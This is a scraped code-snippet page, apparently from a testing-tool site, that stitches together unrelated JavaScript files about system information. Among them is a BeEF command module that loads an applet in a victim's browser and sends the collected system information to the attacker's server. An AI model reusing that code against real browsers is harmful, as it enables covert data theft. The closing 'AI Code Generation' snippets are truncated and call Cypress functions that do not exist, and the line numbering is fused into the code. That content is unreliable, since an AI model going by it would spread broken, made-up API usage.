Best JavaScript code snippet using cypress
info.js
Source:info.js
1/**2 * Loads the system info page3 *4 * @class MODx.page.SystemInfo5 * @extends MODx.Component6 * @param {Object} config An object of config properties7 * @xtype modx-page-system-info8 */9MODx.page.SystemInfo = function(config) {10 config = config || {};11 Ext.applyIf(config,{12 components: [{13 xtype: 'modx-panel-system-info'14 ,data: config.data15 }]16 });17 MODx.page.SystemInfo.superclass.constructor.call(this,config);18};19Ext.extend(MODx.page.SystemInfo,MODx.Component);20Ext.reg('modx-page-system-info',MODx.page.SystemInfo);21var viewPHPInfo = function() {22 window.open(MODx.config.connector_url+'?action=system/phpinfo&HTTP_MODAUTH='+MODx.siteId);23};24MODx.panel.SystemInfo = function(config) {25 config = config || {};26 var info = [{27 fieldLabel: _('modx_version')28 ,name: 'modx_version'29 },{30 fieldLabel: _('version_codename')31 ,name: 'code_name'32 },{33 html: '<a href="javascript:;" onclick="viewPHPInfo();return false;">'+_('view')+'</a>'34 ,fieldLabel: 'phpinfo()'35 ,name: 'phpinfo'36 ,xtype: 'container'37 },{38 fieldLabel: _('servertime')39 ,name: 'servertime'40 },{41 fieldLabel: _('localtime')42 ,name: 'localtime'43 },{44 fieldLabel: _('serveroffset')45 ,name: 'serveroffset'46 },{47 html: '<hr />'48 ,xtype: 'container'49 },{50 fieldLabel: _('extjs_version')51 ,name: 'extjs_version'52 ,value: '3.4.1'53 },{54 fieldLabel: _('smarty_version')55 ,name: 'smarty_version'56 ,value: '3.1.27'57 },{58 fieldLabel: _('phpmailer_version')59 ,name: 'phpmailer_version'60 ,value: '5.2.14'61 },{62 fieldLabel: _('magpie_version')63 ,name: 'magpie_version'64 ,value: '0.72'65 },{66 html: '<hr />'67 ,xtype: 'container'68 },{69 fieldLabel: _('database_type')70 ,name: 'database_type'71 },{72 fieldLabel: _('database_version')73 ,name: 'database_version'74 },{75 fieldLabel: _('database_charset')76 ,name: 'database_charset'77 },{78 fieldLabel: _('database_name')79 ,name: 'database_name'80 },{81 fieldLabel: _('database_server')82 ,name: 'database_server'83 },{84 fieldLabel: _('table_prefix')85 ,name: 'table_prefix'86 }];87 if (config.data) {88 for (var c in config.data) {89 info.push({90 html: '<hr />'91 ,xtype: 'container'92 });93 for (var d in config.data[c]) {94 info.push({95 fieldLabel: d96 ,name: d97 ,value: config.data[c][d]98 });99 }100 }101 }102 var pnl = [{103 html: '<p>'+_('sysinfo_desc')+'</p>'104 ,id: 'modx-sysinfo-msg'105 ,bodyCssClass: 'panel-desc'106 },{107 xtype: 'panel'108 ,border: false109 ,cls:'main-wrapper'110 ,layout: 'form'111 ,defaults: {112 border: false113 ,msgTarget: 'side'114 ,anchor: '100%'115 }116 ,defaultType: 'displayfield'117 ,items: [info]118 }];119 Ext.applyIf(config, {120 id: 'modx-panel-system-info'121 ,url: MODx.config.connector_url122 ,layout: 'anchor'123 ,cls: 'container'124 ,items: [{125 html: '<h2>'+_('view_sysinfo')+'</h2>'126 ,id: 'modx-error-log-header'127 ,cls: 'modx-page-header'128 ,border: false129 ,anchor: '100%'130 },MODx.getPageStructure([{131 title: _('view_sysinfo')132 ,layout: 'form'133 ,id: 'modx-plugin-form'134 ,labelWidth: 230135 ,defaults: { border: false }136 ,items: pnl137 },{138 title: _('db_header')139 ,id: 'modx-sysinfo-dbtables'140 ,layout: 'anchor'141 ,items: [{142 html: '<p>'+_('db_info_' + MODx.config.dbtype)+'</p>'143 ,id: 'modx-sysinfo-dbtables-msg'144 ,bodyCssClass: 'panel-desc'145 ,border: false146 },{147 xtype: 'modx-grid-databasetables'148 ,cls:'main-wrapper'149 ,preventRender: true150 }]151 },{152 title: _('recent_docs')153 ,id: 'modx-sysinfo-recent-docs'154 ,layout: 'anchor'155 ,items: [{156 html: '<p>'+_('sysinfo_activity_message')+'</p>'157 ,id: 'modx-sysinfo-recent-docs-msg'158 ,bodyCssClass: 'panel-desc'159 ,border: false160 },{161 xtype: 'modx-grid-resource-active'162 ,cls:'main-wrapper'163 ,title: _('recent_docs')164 ,preventRender: true165 }]166 }])]167 ,listeners: {168 'setup': {fn:this.setup,scope:this}169 ,'success': {fn:this.success,scope:this}170 ,'beforeSubmit': {fn:this.beforeSubmit,scope:this}171 }172 });173 MODx.panel.SystemInfo.superclass.constructor.call(this,config);174};175Ext.extend(MODx.panel.SystemInfo,MODx.FormPanel,{176 initialized: false177 ,setup: function() {178 if (this.config.plugin === '' || this.config.plugin === 0 || this.initialized) {179 this.fireEvent('ready');180 return false;181 }182 MODx.Ajax.request({183 url: this.config.url184 ,params: {185 action: 'system/info'186 }187 ,listeners: {188 'success': {189 fn: function(r) {190 this.getForm().setValues(r.object);191 this.initialized = true;192 }193 ,scope: this194 }195 }196 });197 }198 ,beforeSubmit: function(o) {199 }200 ,success: function(o) {201 }202});...
ORGSystemInfoManager.js
Source:ORGSystemInfoManager.js
1/**2 * Created by jongabilondo on 09/11/2017.3 */4const ORG3DBattery = require('./ORG3DBattery')5const ORG3DMemoryChart = require('./ORG3DMemoryChart')6const ORG3DDiskChart = require('./ORG3DDiskChart')7const ORG3DCPUUsageBarChart = require('./ORG3DCPUUsageBarChart')8module.exports =9class ORGSystemInfoManager {10 constructor(scene) {11 this._scene = scene;12 //this._lastUpdateTime = null;13 this._enabled = false;14 //this._updateInterval = 60000; // ms15 this._waitingForResponse = false;16 this._lastsSystemInfo = null;17 }18 start() {19 if (ORG.deviceController) {20 this._lastsSystemInfo = null;21 this._create3DCPUUsageBarChart();22 this._enabled = true;23 }24 }25 stop() {26 if (this._enabled) {27 this._enabled = false;28 this._lastsSystemInfo = null;29 this._remove3DBattery();30 this._remove3DMemoryChart();31 this._remove3DDiskChart();32 this._remove3DCPUUsageBarChart();33 }34 }35 update() {36 if (this._enabled) {37 if (this._lastsSystemInfo) {38 this._updateCharts(this._lastsSystemInfo);39 this._waitingForResponse = false;40 this._lastsSystemInfo = null;41 }42 if (this._needsUpdate()) {43 this._requestSystemInfo();44 }45 }46 }47 dataUpdate(systemInfoData) {48 // prepare for update() to do the chart update.49 if (this._enabled) {50 this._lastsSystemInfo = systemInfoData;51 }52 }53 // PRIVATE54 _requestSystemInfo() {55 if (ORG.deviceController && ORG.deviceController.hasSystemInfo) {56 ORG.deviceController.requestSystemInfo();57 this._waitingForResponse = true;58 }59 }60 _updateCharts(systemInfoData) {61 this._remove3DBattery();62 this._create3DBattery(systemInfoData);63 this._remove3DMemoryChart();64 this._create3DMemoryChart(systemInfoData);65 this._remove3DDiskChart();66 this._create3DDiskChart(systemInfoData);67 this._update3DCPUUsageBarChart(systemInfoData);68 }69 _create3DBattery(batteryData) {70 this._battery = new ORG3DBattery(0.005, 0.03, batteryData.BatteryLevel / 100.0);71 this._battery.position = new THREE.Vector3(-0.05, 1.45, 0);72 this._scene.THREEScene.add(this._battery.THREEModel);73 }74 _remove3DBattery() {75 if (this._battery) {76 this._scene.THREEScene.remove(this._battery.THREEModel);77 this._battery = null;78 }79 }80 _create3DMemoryChart(memoryData) {81 this._memoryChart = new ORG3DMemoryChart(memoryData);82 this._memoryChart.position = new THREE.Vector3(0.065, 1.45, 0);83 this._scene.THREEScene.add(this._memoryChart.THREEModel);84 }85 _remove3DMemoryChart() {86 if (this._memoryChart) {87 this._scene.THREEScene.remove(this._memoryChart.THREEModel);88 this._memoryChart = null;89 }90 }91 _create3DDiskChart(diskData) {92 this._diskChart = new ORG3DDiskChart(diskData);93 this._diskChart.position = new THREE.Vector3(0.065, 1.50, 0);94 this._scene.THREEScene.add(this._diskChart.THREEModel);95 }96 _remove3DDiskChart() {97 if (this._diskChart) {98 this._scene.THREEScene.remove(this._diskChart.THREEModel);99 this._diskChart = null;100 }101 }102 _create3DCPUUsageBarChart() {103 this._cpuUsageChart = new ORG3DCPUUsageBarChart(new THREE.Vector3(0.002, 0.03, 0.002));104 this._cpuUsageChart.position = new THREE.Vector3(0.065, 1.52, 0);105 this._scene.THREEScene.add(this._cpuUsageChart.THREEModel);106 }107 _remove3DCPUUsageBarChart() {108 if (this._cpuUsageChart) {109 this._scene.THREEScene.remove(this._cpuUsageChart.THREEModel);110 this._cpuUsageChart = null;111 }112 }113 _update3DCPUUsageBarChart(cpuData) {114 if (this._cpuUsageChart) {115 this._cpuUsageChart.usageUpdate(cpuData);116 }117 }118 _needsUpdate() {119 return (this._enabled && !this._waitingForResponse);120 }...
navigator.js
Source:navigator.js
1'use strict';2Object.defineProperty(exports, "__esModule", {3 value: true4});5var _index = require('./util/index.js');6// TODO éè¦ wx.getSystemInfo è·åæ´è¯¦ç»ä¿¡æ¯7var systemInfo = wx.getSystemInfoSync();8console.log(systemInfo);9var system = systemInfo.system;10var platform = systemInfo.platform;11var language = systemInfo.language;12var wechatVersioin = systemInfo.version;13var android = system.toLowerCase().indexOf('android') !== -1;14var uaDesc = android ? 'Android; CPU ' + system : 'iPhone; CPU iPhone OS ' + system + ' like Mac OS X';15var ua = 'Mozilla/5.0 (' + uaDesc + ') AppleWebKit/603.1.30 (KHTML, like Gecko) Mobile/14E8301 MicroMessenger/' + wechatVersioin + ' MiniGame NetType/WIFI Language/' + language;16var navigator = {17 platform: platform,18 language: language,19 appVersion: '5.0 (' + uaDesc + ') AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1',20 userAgent: ua,21 onLine: true, // TODO ç¨ wx.getNetworkStateChange å wx.onNetworkStateChange æ¥è¿åçå®çç¶æ22 // TODO ç¨ wx.getLocation æ¥å°è£
geolocation23 geolocation: {24 getCurrentPosition: _index.noop,25 watchPosition: _index.noop,26 clearWatch: _index.noop27 }28};29if (wx.onNetworkStatusChange) {30 wx.onNetworkStatusChange(function (event) {31 navigator.onLine = event.isConnected;32 });33}34exports.default = navigator;...
test_storage_api.js
Source:test_storage_api.js
1// Copyright (c) 2012 The Chromium Authors. All rights reserved.2// Use of this source code is governed by a BSD-style license that can be3// found in the LICENSE file.4// systemInfo.storage api test5// browser_tests.exe --gtest_filter=SystemInfoStorageApiTest.Storage6chrome.systemInfo = chrome.experimental.systemInfo;7chrome.test.runTests([8 function testGet() {9 chrome.systemInfo.storage.get(chrome.test.callbackPass(function(units) {10 chrome.test.assertTrue(units.length == 1);11 var unit = units[0];12 chrome.test.assertTrue(unit.id == "0xbeaf");13 chrome.test.assertTrue(unit.type == "unknown");14 chrome.test.assertTrue(unit.capacity == 4098);15 chrome.test.assertTrue(unit.availableCapacity == 1024);16 }));17 },18 function testChangedEvent() {19 chrome.test.sendMessage("ready", function() {20 var numOfChangedEvent = 0;21 var base = 10000;22 var step = 10;23 var doneChangedEvent = chrome.test.listenForever(24 chrome.systemInfo.storage.onAvailableCapacityChanged,25 function listener(changedInfo) {26 chrome.test.assertTrue(changedInfo.id == "/dev/sda1");27 chrome.test.assertTrue(28 changedInfo.availableCapacity == (base - step*numOfChangedEvent));29 if (++numOfChangedEvent > 5)30 doneChangedEvent();31 });32 });33 }...
command.js
Source:command.js
1//2// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net3// Browser Exploitation Framework (BeEF) - http://beefproject.com4// See the file 'doc/COPYING' for copying permission5//6beef.execute(function() {7 var internal_counter = 0;8 var timeout = 30;9 var output;10 beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', "http://"+beef.net.host+":"+beef.net.port+"/", null, null);11 if (beef.browser.isFF()) {12 output = document.getSystemInfo.getInfo();13 if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));14 beef.dom.detachApplet('getSystemInfo');15 } else {16 function waituntilok() {17 try {18 output = document.getSystemInfo.getInfo();19 beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"<br>"));20 beef.dom.detachApplet('getSystemInfo');21 return;22 } catch (e) {23 internal_counter++;24 if (internal_counter > timeout) {25 beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after '+timeout+' seconds');26 beef.dom.detachApplet('getSystemInfo');27 return;28 }29 setTimeout(function() {waituntilok()},1000);30 }31 }32 setTimeout(function() {waituntilok()},5000);33 }...
bws_menu.js
Source:bws_menu.js
1(function($) {2 $(document).ready( function() {3 if ( $( 'input[name="bwsmn_form_email"]' ).val() == '' ) {4 $( '.bws_system_info_meta_box .inside' ).css( 'display', 'none' );5 }6 $( '.bws_system_info_meta_box .hndle' ).click( function() {7 if ( $( '.bws_system_info_meta_box .inside' ).is( ':visible' ) ) {8 $( '.bws_system_info_meta_box .inside' ).css( 'display', 'none' );9 } else {10 $( '.bws_system_info_meta_box .inside' ).css( 'display', 'block' );11 } 12 });13 14 $( '.bws_system_info_meta_box .handlediv' ).click( function() {15 if ( $( '.bws_system_info_meta_box .inside' ).is( ':visible' ) ) {16 $( '.bws_system_info_meta_box .inside' ).css( 'display', 'none' );17 } else {18 $( '.bws_system_info_meta_box .inside' ).css( 'display', 'block' );19 } 20 }); 21 });...
system_info.controller.js
Source:system_info.controller.js
1export class AdminAdvancedSystemInfoController {2 constructor(SystemInfoDao) {3 // console.log("log: "+SystemInfoDao);4 this.systemInfoDao = SystemInfoDao.getInstance();5 let self=this;6 this.systemInfo;7 this.systemInfoJoined;8 this.systemInfoDao.get().$promise.then(function(data){9 self.getSystemInfoKeys(data);10 })11 }12 getSystemInfoKeys(data) {13 this.systemInfo = data.systemInfo;14 this.systemInfoJoined = JSON.stringify(data.systemInfo);15 //let headers = Object.keys(systemInfo);16 //let subTitles = [];17 }18 replaceNewLines(text) {19 return text.replace(/\n/g, "<br>");20 }...
system_info.module.js
Source:system_info.module.js
1import {AdminAdvancedSystemInfoController} from './system_info.controller';2function systemInfoConfig($stateProvider) {3 $stateProvider4 .state('admin.advanced.system_info', {5 params: {feature: 'systemInfo'},6 url: '/system_info',7 templateUrl: 'states/admin/advanced/system_info/system_info.html',8 controller: 'AdminAdvancedSystemInfoController as SystemInfoController'9 })10}11export default angular.module('advanced.system_info', [])12 .config(systemInfoConfig)...
Using AI Code Generation
1describe('My First Test', function() {2 it('Visits the Kitchen Sink', function() {3 cy.contains('type').click()4 cy.url().should('include', '/commands/actions')5 cy.get('.action-email')6 .type('
Using AI Code Generation
1describe('Cypress Demo', function(){2 it('Cypress Demo', function(){3 cy.get('#alertbtn').click()4 cy.get('[value="Confirm"]').click()5 cy.on('window:alert',(str)=>{6 expect(str).to.equal('Hello , share this practice page and share your knowledge')7 })8 cy.on('window:confirm',(str)=>{9 expect(str).to.equal('Hello , Are you sure you want to confirm?')10 })11 })12})13{14}15{16 "env": {17 }18}19{
Using AI Code Generation
1cy.system('system.info', null, (err, result) => {2 if (err) {3 console.log(err);4 } else {5 console.log(result);6 }7});8cy.system('system.listMethods', null, (err, result) => {9 if (err) {10 console.log(err);11 } else {12 console.log(result);13 }14});15cy.system('system.methodHelp', 'system.listMethods', (err, result) => {16 if (err) {17 console.log(err);18 } else {19 console.log(result);20 }21});22cy.system('system.methodSignature', 'system.listMethods', (err, result) => {23 if (err) {24 console.log(err);25 } else {26 console.log(result);27 }28});29cy.system('system.multicall', [30 {31 },32 {33 }34], (err, result) => {35 if (err) {36 console.log(err);37 } else {38 console.log(result);39 }40});41cy.system('system.listMethods', null, (err, result) => {42 if (err) {43 console.log(err);44 } else {45 console.log(result);46 }47});48cy.system('system.methodHelp', 'system.listMethods', (err, result) => {49 if (err) {50 console.log(err);51 } else {52 console.log(result);53 }54});55cy.system('system.methodSignature', 'system.listMethods', (err, result) => {56 if (err) {57 console.log(err);58 } else {59 console.log(result);60 }61});62cy.system('system.multicall', [63 {64 },65 {66 }67], (err, result) => {68 if (err
Using AI Code Generation
1describe('Browser name test', () => {2 it('Get browser name', () => {3 cy.get('.home-list > :nth-child(1) > a').click()4 cy.url().should('include', '/commands/navigation')5 cy.go('back')6 cy.url().should('not.include', '/commands/navigation')7 cy.go('forward')8 cy.url().should('include', '/commands/navigation')9 cy.go(-1)10 cy.url().should('not.include', '/commands/navigation')11 cy.go(1)12 cy.url().should('include', '/commands/navigation')13 cy.get('.home-list > :nth-child(1) > a').click()14 cy.reload()15 cy.url().should('include', '/commands/navigation')16 cy.get('.home-list > :nth-child(1) > a').click()17 cy.reload(true)18 cy.url().should('include', '/commands/navigation')19 })20})21describe('Browser name test', () => {22 it('Get browser name', () => {23 cy.get('.home-list > :nth-child(1) > a').click()24 cy.url().should('include', '/commands/navigation')25 cy.go('back')26 cy.url().should('not.include', '/commands/navigation')27 cy.go('forward')28 cy.url().should('include', '/commands/navigation')29 cy.go(-1)30 cy.url().should('not.include', '/commands/navigation')31 cy.go(1)32 cy.url().should('include', '/commands/navigation')33 cy.get('.home-list > :nth-child(1) > a').click()34 cy.reload()35 cy.url().should('include', '/commands/navigation')36 cy.get('.home-list > :nth-child(1) > a').click()37 cy.reload(true)38 cy.url().should('include', '/commands/navigation')39 })40})41describe('Browser name test', () => {42 it('Get browser name', () => {
Using AI Code Generation
1describe('Cypress API', function() {2 it('Cypress system information', function() {3 cy.task('systemInfo').then((info) => {4 console.log(info)5 })6 })7})8module.exports = (on, config) => {9 on('task', {10 systemInfo() {11 }12 })13}14{15}16describe('Cypress API', function() {17 it('Cypress version', function() {18 cy.log(Cypress.version)19 })20})21{22}23describe('Cypress API', function() {24 it('Browser information', function() {25 cy.log(Cypress.browser)26 })27})28{29}30describe('Cypress API', function() {31 it('Cypress configuration', function() {32 cy.log(Cypress.config())33 })34})35{36}
Using AI Code Generation
1var os = require('os');2var osType = os.type();3var osRelease = os.release();4console.log("OS Type: " + osType);5console.log("OS Release: " + osRelease);6describe('My First Test', function() {7 it('Does not do much!', function() {8 cy.system('node test.js').then((result) => {9 console.log(result.stdout);10 });11 });12});
Using AI Code Generation
1const cypress = require('cypress');2const fs = require('fs');3const stream = fs.createWriteStream('output.txt');4cypress.system.info().then((info) => {5 console.log(info);6 stream.write(JSON.stringify(info));7});8const cypress = require('cypress');9const fs = require('fs');10const stream = fs.createWriteStream('output.txt');11cypress.system.getDisplayMedia().then((info) => {12 console.log(info);13 stream.write(JSON.stringify(info));14});15const cypress = require('cypress');16const fs = require('fs');17const stream = fs.createWriteStream('output.txt');18cypress.system.getDisplayMedia().then((info) => {19 console.log(info);20 stream.write(JSON.stringify(info));21});22const cypress = require('cypress');23const fs = require('fs');24const stream = fs.createWriteStream('output.txt');25cypress.system.getDisplayMedia().then((info) => {26 console.log(info);27 stream.write(JSON.stringify(info));28});
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!